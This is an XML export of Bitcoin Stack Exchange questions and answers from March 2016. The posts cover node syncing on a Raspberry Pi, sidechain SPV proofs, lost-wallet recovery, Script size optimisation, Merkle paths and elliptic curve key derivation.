  <row Id="43476" PostTypeId="2" ParentId="43471" CreationDate="2016-03-24T15:59:39.930" Score="1" Body="&lt;p&gt;This is the usual procedure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Meet in a public place with wifi&lt;/li&gt;&#xA;&lt;li&gt;Person buying bitcoins gives you the cash.&lt;/li&gt;&#xA;&lt;li&gt;Person selling bitcoins counts the cash.&lt;/li&gt;&#xA;&lt;li&gt;Person selling bitcoins transfers bitcoins to person buying bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;Both people wait for 1 confirmation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you use localbitcoins, you can skip step 5.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-03-24T15:59:39.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43477" PostTypeId="2" ParentId="43449" CreationDate="2016-03-24T19:42:00.130" Score="1" Body="&lt;p&gt;As there was no response for this, and in case someone else has the same problem, I dumped the private keys, and then imported them to the other client.&lt;/p&gt;&#xA;" OwnerUserId="34156" LastActivityDate="2016-03-24T19:42:00.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43479" PostTypeId="1" CreationDate="2016-03-25T10:35:41.770" Score="3" ViewCount="267" Body="&lt;p&gt;I'm running a 0.12 Raspnode (raspberri Pi 2 B+ full node)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made the full node syncing in a laptop to speed up the process. Then, after moving all the files successfully and starting the full node in the rPi I have noted that it cannot completely sync and it is most of the time a few blocks away from 100% height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rPi is running only bitcoind and I've modified with &lt;code&gt;renice&lt;/code&gt; the priority to its assigned PID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know what are the parameters and values I need to change in order to get a fully synchronized node (100% height).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following options comes to mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Increase the relayfee parameter? (current value&#xA;minrelaytxfee=0.00005)&lt;/li&gt;&#xA;&lt;li&gt;Decrease the memory assigned to the UXTO? (current value&#xA;maxmempool=150)&lt;/li&gt;&#xA;&lt;li&gt;Increase or decrease the prune value? (current is&#xA;prune=30000)&lt;/li&gt;&#xA;&lt;li&gt;Decrease the free-tx limit? (current at limitfreerelay=10)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you need any additional info feel free to ask for it, I would gladly provide it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: seems that blocks are being produced faster than the processing power of the Rpi 2 B+ can handle.. so it never gets sync'ed.. its always behind the last block.&lt;/p&gt;&#xA;" OwnerUserId="33695" LastEditorUserId="33695" LastEditDate="2016-04-06T15:07:51.887" LastActivityDate="2018-06-05T05:30:07.387" Title="Fine tunning a Rapsberri Pi 2 B+ full 0.12 node" Tags="|bitcoind|synchronization|nodes|raspberry-pi|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43480" PostTypeId="2" ParentId="32840" CreationDate="2016-03-25T14:31:13.330" Score="0" Body="&lt;p&gt;See headline Cryptocurrencies on &lt;a href=&quot;http://www.dongleauth.info/#bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://www.dongleauth.info/#bitcoin&lt;/a&gt; for a list and some buttons to push and presumably help speeding up implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Yubikey Fido, and other cheaper keys like ePass and HappLink (formerly pu1.fr) also only support U2F, so any support for OTP is less interesting in this context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as Mark S. writes, currently none are listed as supporting U2F.&lt;/p&gt;&#xA;" OwnerUserId="3779" LastActivityDate="2016-03-25T14:31:13.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43481" PostTypeId="2" ParentId="43445" CreationDate="2016-03-25T18:41:51.880" Score="0" Body="&lt;p&gt;The first important thing to understand is that this method is one of two different ways of moving coins back and forth between two chains. The other is called &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37876/what-is-fed-peg-and-predefined-functionaries-with-sidechains&quot;&gt;Federated Peg&lt;/a&gt;, which I believe will be more successful despite being less technically sophisticated and more centralized.&lt;/p&gt;&#xA;&lt;h2&gt;General concept&lt;/h2&gt;&#xA;&lt;p&gt;The first step is that you send a transaction on the sidechain that locks your money in place. Once that transaction has a few confirmations, you create the SPV proof to send to the mainchain.&lt;/p&gt;&#xA;&lt;p&gt;Let's go into more detail about that last step:&lt;/p&gt;&#xA;&lt;p&gt;When you run an SPV client, your client doesn't download full blocks. It downloads headers. Then, it downloads the transactions to or from your wallet. Then, it downloads the merkle branches to connect your transaction to one of the block headers.&lt;/p&gt;&#xA;&lt;p&gt;When you create an SPV proof, you take those block headers that you downloaded, and those merkle branches that you need to connect to your transaction, and your special coin-locking transaction, and you serialize them into a single datastructure.&lt;/p&gt;&#xA;&lt;h3&gt;Why do we need to serialize the SPV proof at all?&lt;/h3&gt;&#xA;&lt;p&gt;…can't the nodes checking the SPV proof ask nodes on the sidechain to provide the SPV data?&lt;/p&gt;&#xA;&lt;p&gt;No, because the sidechain nodes might reply differently to different mainchain nodes. That would result in a fork of the mainchain. A serialized SPV proof will be evaluated the same way by all mainchain nodes.&lt;/p&gt;&#xA;&lt;h2&gt;Some complications&lt;/h2&gt;&#xA;&lt;h3&gt;SPV proof might not match sidechain network&lt;/h3&gt;&#xA;&lt;p&gt;If I have lots of mining power, I don't need to have money on the sidechain in order to withdraw money from sidechain outputs on the mainchain. (i.e. I can fake a sidechain withdrawal.)&lt;/p&gt;&#xA;&lt;p&gt;This is how it works: I create a transaction from a fake output on the sidechain. If I broadcasted this to the sidechain, all of the nodes would reject it. However, I mine a block containing this transaction, and I keep going until I get enough blocks that the mainchain will trust my SPV proof.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Require more confirmations before moving money from sidechain to mainchain&lt;/li&gt;&#xA;&lt;li&gt;Create a grace period where someone can block your withdrawal by creating a 'counter SPV proof,' which shows a longer chain of proof of work that does not include your block header.&lt;/li&gt;&#xA;&lt;li&gt;When the sidechain detects that someone successfully stole money, it marks down all future withdrawals to avoid a bank run.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;What you're depositing won't match what you're withdrawing&lt;/h3&gt;&#xA;&lt;p&gt;If you're using the sidechain for transactions, you're going to wind up with more or less than when you started. However, this is a softfork, so we can't just deposit all of the incoming funds into a single pot. All of the funds are spread around many different outputs, and in Bitcoin, you need to entirely spend any output you claim. (You can't partially claim an output.) There are two solutions to this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Lock up the exact amount of money of an output on the mainchain, then claim that. Potentially do this many times. This is simple, but has two problems: first, it uses more blockchain space than nessary; second, if there is no set of outputs that add up precisely to what you're withdrawing, some of your money will be stuck in the sidechain.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Allow people to claim one or more outputs, and optionally send change to another OP_SPVPROOFVERIFY output. This solution is much more flexible, but has some hidden teeth. (Can you &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/33u2id/help_losing_over_85_btc_because_of_bitgos_flawed&quot; rel=&quot;nofollow noreferrer&quot;&gt;accidentally send an 80 BTC miner fee because you screwed up your javascript&lt;/a&gt;? Will people have an incentive to avoid the dust outputs, leading to a bunch of outputs that nobody wants to pay to redeem?)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Things that aren't complications&lt;/h2&gt;&#xA;&lt;h3&gt;Nodes on the mainchain that don't understand OP_SPVPROOFVERIFY&lt;/h3&gt;&#xA;&lt;p&gt;Since this is a softfork, not all nodes have to upgrade.&lt;/p&gt;&#xA;&lt;h2&gt;What can be changed in a sidechain?&lt;/h2&gt;&#xA;&lt;p&gt;Since we're supposing that we're designing a new opcode from scratch, we can make it support many different things. It could support Scrypt, X11, whatever hashing algorithm we want. It can't support pure Proof of Stake in a meaningful way. It could support multiple different target times, address types, etc.&lt;/p&gt;&#xA;&lt;p&gt;However, it can't support unanticipated changes, so if someone comes up with a brilliant change that's visible to SPV clients, it won't work with the above.&lt;/p&gt;&#xA;&lt;p&gt;Well, that's not entirely true. You could create two instructions, OP_SPVPROOFCHECKERREGISTER, and OP_SPVPROOFVERIFY. The first one would register an ethereum-like script that could keep state, and would check all incoming redemption requests. The second would commit a sum of money until the former script said that it could be unlocked. That would allow arbitrary SPV proof systems (although it still wouldn't allow pure PoS systems) at the cost of increased complexity.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-04-03T15:13:38.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43482" PostTypeId="1" CreationDate="2016-03-25T23:27:15.147" Score="0" ViewCount="5521" Body="&lt;p&gt;Hi guys I am seeking to retrieve my bitcoins I purchased years ago but my bitcoin qt never synced to receive them! I have now downloaded bitcoin core and I was advised that once I have done that it should automatically just transfer over but it hasn't! So what are my options to get hold of my bitcoins I purchased years ago????&lt;/p&gt;&#xA;" OwnerUserId="29370" LastActivityDate="2016-03-27T00:39:54.687" Title="How do i retreive my bitcoins that I purchased but never receaved because of the dodgie bitcoin qt years ago?" Tags="|bitcoind|bitcoin-core|synchronization|lost-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43483" PostTypeId="1" CreationDate="2016-03-26T01:02:28.640" Score="2" ViewCount="790" Body="&lt;p&gt;When I execute bitcoind on CentOS 7 I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to start HTTP server. See debug log for details.&#xA; bitcoind: scheduler.cpp:19: CScheduler::~CScheduler(): Assertion `nThreadsServicingQueue == 0' failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33490" LastEditorUserId="6441" LastEditDate="2016-03-30T09:29:35.260" LastActivityDate="2016-05-29T10:13:59.117" Title="Bitcoind fails to start on Centos 7" Tags="|bitcoind|error|centos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43484" PostTypeId="2" ParentId="43482" CreationDate="2016-03-26T01:58:13.740" Score="0" Body="&lt;p&gt;do you have a backup of the private key of BTC address you bought BTCs for? basically when you buy bitcoins you give a public address to receive the coins. do you have the secret key of that BTC address you used for buying bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="33490" LastEditorUserId="33490" LastEditDate="2016-03-26T04:18:38.877" LastActivityDate="2016-03-26T04:18:38.877" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="43485" PostTypeId="1" CreationDate="2016-03-26T02:21:02.427" Score="2" ViewCount="726" Body="&lt;p&gt;more  Bitcoin core won't synchronize with network but my wallet has a balance of 0.00  it I have done transactions that reply back as true and if I do balance for those addresses it shows transactions  current in the console then I look around main wallet and still 0&lt;/p&gt;&#xA;" OwnerUserId="28002" LastEditorUserId="33695" LastEditDate="2016-03-29T20:51:41.483" LastActivityDate="2017-12-20T15:36:48.867" Title="help my Bitcoin core wallet won't sync" Tags="|wallet|synchronization|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43486" PostTypeId="2" ParentId="42519" CreationDate="2016-03-26T02:22:15.933" Score="1" Body="&lt;p&gt;In spending a pay-to-pubkey transaction output, just the signature is put into the scriptSig. The signature can be used to do public key recovery, but you won't be able to uniquely identify the exact public key representation that was put into the scriptPubKey. You can mathematically narrow it down to 4 possibilities using the public key recovery method, but to get the exact representation that was used, you'll need to do a lookup on the previous output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more on public key recovery, look at &lt;a href=&quot;https://crypto.stackexchange.com/questions/18105/how-does-recovering-the-public-key-from-an-ecdsa-signature-work&quot;&gt;https://crypto.stackexchange.com/questions/18105/how-does-recovering-the-public-key-from-an-ecdsa-signature-work&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In brief, you can determine the X coordinate of the ECC public key, and then the Y coordinate can be one of two values. And for each of those two points ((X, Y) &amp;amp; (X, -Y)), there are two representations, compressed and decompressed form. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2016-03-26T02:22:15.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43488" PostTypeId="2" ParentId="43483" CreationDate="2016-03-26T09:41:49.940" Score="1" Body="&lt;p&gt;There are a number of known issues on the compile side of things (under CentOS) which could be related: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/6432&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/issues/6432&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31470" LastActivityDate="2016-03-26T09:41:49.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43489" PostTypeId="1" CreationDate="2016-03-26T10:43:47.880" Score="0" ViewCount="636" Body="&lt;p&gt;I've read the Nakamoto's paper &quot;Bitcoin: a peer-to-peer electronic cash system&quot;. In paragraph Simplified Payment Verification he said that is possible to verify payments without running a full network node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand how, having a Markle's Tree Root hash, verify payment. In fact, in order to check payment, I need to combine and hash all node of right or left branch, not just the root. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, how can choose which Root hash needs to get without see in all nodes?&lt;/p&gt;&#xA;" OwnerUserId="34259" LastActivityDate="2016-03-27T09:15:50.040" Title="How is it possibile to verify payments without running a full network node?" Tags="|transaction-verification|verification|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43491" PostTypeId="1" CreationDate="2016-03-26T12:48:07.113" Score="2" ViewCount="94" Body="&lt;p&gt;I have some questions regarding the programming of economic Scripts, so Scripts that save some transaction space compared to functionally the same Scripts but with redundancy by e.g. using the same public keys twice.&#xA;One example comes from the Script used for the atomic swap in the wiki: &#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contract#Example_5:_Trading_across_chains&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Contract#Example_5:_Trading_across_chains&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_IF &#xA;  2 &amp;lt;key A&amp;gt; &amp;lt;key B&amp;gt; 2 OP_CHECKMULTISIGVERIFY&#xA;OP_ELSE&#xA;  &amp;lt;key B&amp;gt; OP_CHECKSIGVERIFY OP_SHA256 &amp;lt;hash of secret x&amp;gt; OP_EQUALVERIFY&#xA;OP_ENDIF&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the script above the public key for B is referenced twice. But it can be rewritten to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_SHA256 &amp;lt;hash of secret x&amp;gt; OP_EQUAL&#xA;OP_NOTIF&#xA;  &amp;lt;key A&amp;gt; OP_CHECKSIGVERIFY&#xA;OP_ENDIF&#xA;&amp;lt;key B&amp;gt; OP_CHECKSIG&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functionally it is the same script, but does not use the public key of B twice and thus saves space in the transaction.&#xA;The difference is the way the scriptSig must now be provided with the signatures or secret.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, is there anything against using the script above instead of the one from the wiki?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what about the following example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_SHA256 &amp;lt;hash of secret x&amp;gt; OP_EQUAL&#xA;OP_IF&#xA;  &amp;lt;K2&amp;gt; OP_CHECKSIG&#xA;OP_ELSE&#xA;  2 &amp;lt;K1&amp;gt; &amp;lt;K2&amp;gt; &amp;lt;K3&amp;gt; 3 OP_CHECKMULTISIG&#xA;OP_ENDIF&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is similar to the atomic swap above, but now there is a mediator involved.&#xA;Again the public key  is used twice. But it can be rewritten to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_SHA256 &amp;lt;hash of secret x&amp;gt; OP_EQUAL&#xA;2 &amp;lt;K2&amp;gt;&#xA;OP_ROT&#xA;OP_IF&#xA;  OP_NIP&#xA;  OP_CHECKSIG&#xA;OP_ELSE&#xA;  &amp;lt;K1&amp;gt; OP_SWAP &amp;lt;K3&amp;gt; OP_CHECKMULTISIG&#xA;OP_ENDIF&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script accepts the exact same scriptSigs as the one before. It involves two more opcodes (OP_SWAP and OP_NIP), which are two bytes in total. But it saves 31 bytes in total by only using the public key K2 once.&#xA;It may not be so readable, but is there anything against using this script compared to the first one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many similar cases I can come up with using the exotic opcodes like OP_SWAP, OP_ROLL, and so on. But I want to know if this does actually make sense when creating Scripts to use them to save transaction space? &lt;/p&gt;&#xA;" OwnerUserId="29432" LastActivityDate="2016-03-26T14:40:02.630" Title="Save transaction space with economic Scripts" Tags="|script|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43492" PostTypeId="2" ParentId="43491" CreationDate="2016-03-26T13:12:27.133" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But I want to know if this does actually make sense &#xA;  when creating Scripts to use them to save transaction space?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How much money are you saving with shorter scripts? 0.01 cent per tx?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the answer is: yes, there is some sense. But the economy is too low to think about it&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-03-26T13:12:27.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43493" PostTypeId="2" ParentId="43491" CreationDate="2016-03-26T14:40:02.630" Score="1" Body="&lt;p&gt;Yes, that would save space. However, there are two ways in which your scripts are different.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It checks if there is a value that hashes to the hash of x at the beginning,&lt;/li&gt;&#xA;&lt;li&gt;It performs the operation in step 1 whether we're executing branch 1 or 2.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your first script can be rewritten like so to fix that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_NOTIF&#xA;  &amp;lt;key A&amp;gt; OP_CHECKSIGVERIFY&#xA;  OP_0&#xA;OP_ELSE&#xA;  OP_1&#xA;OP_ENDIF&#xA;OP_SWAP&#xA;&amp;lt;key B&amp;gt; OP_CHECKSIG&#xA;OP_IF&#xA;  OP_SHA256 &amp;lt;hash of secret x&amp;gt; OP_EQUAL&#xA;OP_ENDIF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Space savings&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Each public key is 34 bytes (33 bytes for compressed key plus 1 for data push). Blocks are about 617k at the moment, and the total fees for a block are about 0.223 BTC. Each public key therefore costs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;34 / 617000 * 0.223 * 1e8 = 1228 satoshis&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A small amount, but it would add up over time.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-03-26T14:40:02.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43495" PostTypeId="2" ParentId="43482" CreationDate="2016-03-27T00:39:54.687" Score="1" Body="&lt;p&gt;The information needed for you to recover your coins is in the original bitcoin-qt you used to get the addresses to request the bitcoins. Did you back up its data folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key for your coins is in that backup. If you didn't back that up, you probably can't recover the coins.&lt;/p&gt;&#xA;" OwnerUserId="34132" LastActivityDate="2016-03-27T00:39:54.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43497" PostTypeId="2" ParentId="43466" CreationDate="2016-03-27T04:43:09.090" Score="1" Body="&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: I should probably add this as a comment because it doesn't answer the question, and just gives a one pointer. &lt;em&gt;I can't add comments yet&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OpenBitcoinPrivacyProject is constantly working to gather as much information of new types of attacks on privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can search in their github page how do they test for wallet privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/OpenBitcoinPrivacyProject/wallet-ratings/blob/master/report-02/threat%20model.wiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/OpenBitcoinPrivacyProject/wallet-ratings/blob/master/report-02/threat%20model.wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this pointer is relevant because one of their tests try to detect just what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A blockchain observer can derive the type of wallet used to create a&#xA;  transaction by observing idiosyncrasies in the manner in which the&#xA;  transaction was composed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="34132" LastActivityDate="2016-03-27T04:43:09.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43498" PostTypeId="1" CreationDate="2016-03-27T07:19:02.753" Score="0" ViewCount="6646" Body="&lt;p&gt;I am a noob to bitcoin and want to know a few things-:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw the Genesis Mining pricing &lt;a href=&quot;https://www.genesis-mining.com/pricing&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Now my question is that if I use cloud mining can I transfer that amount to my Bitcoin wallet ? Like CoinBase or Bitcoin core ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can that be done in Genesis Mining ?&lt;/p&gt;&#xA;" OwnerUserId="34281" LastActivityDate="2017-12-28T14:52:14.543" Title="Connecting Genesis Mining to a bitcoin wallet" Tags="|wallet|cloud-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43499" PostTypeId="1" CreationDate="2016-03-27T08:15:48.947" Score="3" ViewCount="414" Body="&lt;p&gt;I want to use ZebPay since I am from India but this question is applicable to all Bitcoin waletts like CoinBase. Can I sell directly from my wallet ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I have 1 BTC in my wallet can I sell it directly from there and get the funds in my bank account ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I have to wait for some third party to buy my bitcoins and then I can get paid ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, can I sell to ZebPay or CoinBase directly for USD ?&lt;/p&gt;&#xA;" OwnerUserId="34281" LastActivityDate="2016-03-28T07:52:17.610" Title="ZebPay - Direct sell from wallet" Tags="|wallet|funds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43500" PostTypeId="2" ParentId="43489" CreationDate="2016-03-27T09:10:26.260" Score="2" Body="&lt;p&gt;You are right, in order to prove that a transaction is confirmed in a block you need more than only the Merkle root. The information needed is called the Merkle path and consists of the left/right leaf to your transaction node and the right/left parent, and so on up to the root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a graph depicting a Merkle path:&#xA;&lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch07.html#merkle_tree_path&quot; rel=&quot;nofollow&quot;&gt;http://chimera.labs.oreilly.com/books/1234000001802/ch07.html#merkle_tree_path&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Merkle root and path, and also the block headers of the blockchain, are requested from a selection of random Bitcoin nodes.&#xA;Your SPV client cannot verify that the transaction is valid (not a double spend, correct signatures, etc.), but since it can verify that the transaction was included in a block with X confirmations, it can assume that the Bitcoin network accepted the transaction. Thus your SPV node will accept the transaction by trusting that the Bitcoin network only includes valid transactions to the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="29432" LastEditorUserId="29432" LastEditDate="2016-03-27T09:15:50.040" LastActivityDate="2016-03-27T09:15:50.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43501" PostTypeId="2" ParentId="43489" CreationDate="2016-03-27T09:57:30.937" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I need to combine and hash all node of right or left branch&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or you can be given most of those values. If someone gives you the value for the right branch then you don't need any further info on that whole side of the tree. And if eventually you end up with the correct value for the root hash then you know they didn't lie to you.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-03-27T09:57:30.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43503" PostTypeId="1" AcceptedAnswerId="43515" CreationDate="2016-03-27T22:34:46.173" Score="1" ViewCount="314" Body="&lt;p&gt;I want to make a faucet. But my problem is that I don't know how I can make my payouts. I would have a lot of little amounts (like 10'000 satoshis) to pay.&#xA;Is there an efficient way of doing thousands of those transactions without paying to much fees?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to make every transaction manually (in Python or in Java with the Blockchain API)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the answers.&lt;/p&gt;&#xA;" OwnerUserId="34296" LastEditorUserId="34296" LastEditDate="2016-03-28T08:10:40.347" LastActivityDate="2016-03-28T18:43:29.137" Title="How can I send thousands of small amounts (10'000 sat.) to bitcoin wallets without paying to much fees?" Tags="|transactions|transaction-fees|multi-signature|satoshi|faucets|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43504" PostTypeId="2" ParentId="25024" CreationDate="2016-03-27T23:26:10.397" Score="3" Body="&lt;p&gt;I was hoping for an answer like this, and didn't see it, so here's mine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An elliptic curve (&quot;EC&quot;) is a function in which the square of the y coordinate is equal to a third degree polynomial of the x coordinate.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An interesting property of elliptic curves is that any two points on an EC will define a line that also hits the curve at one more place.  The &quot;sum&quot; of the first two points is defined as the mirror image (over the X axis) of that place, so after finding the intersection, just negate the Y coordinate, and you have the point that is the &quot;sum&quot; of the other two.&lt;/li&gt;&#xA;&lt;li&gt;To add a point to itself, you use a line that is tangent to the EC.  It, too, will intersect the curve somewhere.  (You can see why this works if you imagine the two points you're adding getting closer and closer together on the curve.)&lt;/li&gt;&#xA;&lt;li&gt;You have to add the &quot;generation point&quot; (&quot;G&quot;) to itself a number of times equal to the number represented by the private key to find the point that gives you the public key.&lt;/li&gt;&#xA;&lt;li&gt;If you do the algebra, you find that the equations for identifying the point on the curve that intersects with the line (either tangent to a point you're doubling, or passing through two points you're adding) are the ones implemented in the python script in another answer.**&lt;/li&gt;&#xA;&lt;li&gt;To add the point G to itself [private-key] times, you can turn it into a binary number.  You can double the point G using the tangent line and intersection as described above to get 2G (a new point), and then again for 4G, 8G, etc, all new points. So now each bit position in your (binary) private key is associated with a point.&lt;/li&gt;&#xA;&lt;li&gt;Start with the least significant bit (LSB)'s associated point as your result.  For each other bit (to the left of the LSB) in your private key that is 1 (skip the zeroes), calculate the &quot;sum&quot; point as described in step 1 using that bit's associated point from step 5 and your current result.  Repeat this until you've done all the bits in your private key.  Addition is associative, so you can do them in any order you want.&lt;/li&gt;&#xA;&lt;li&gt;Imagine that this curve is graphed in its infinite fullness on an infinitely large transparent plane.  Now imagine that the plane is chopped up into squares so that each square is p units on a side, and then all the squares are stacked on top of each other.  Thus, all the points with coordinates larger in magnitude than p are laying on top of a point for which both coordinates are less than p.  That's the modulo function at work.  In all the math you do in the other 5 steps, when you get an answer that is larger than p, find the answer modulo p.&lt;/li&gt;&#xA;&lt;li&gt;You end up with a result that is a point.  I guess you concatenate the X and Y coordinates and that is your public key, but I'm not so sure about this last step.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is how I understand ECC, and it may be inaccurate.  I would very much appreciate any corrections or questions so that I can hone this description.  Given the other answers here already, I thought this one might help a lot of people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**It would be neat to see the algebra that shows how to get the tangent of the EC (for doublings) and also for the calculation of the point of intersection between a line defined by two other points and the curve itself.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2016-03-27T23:26:10.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
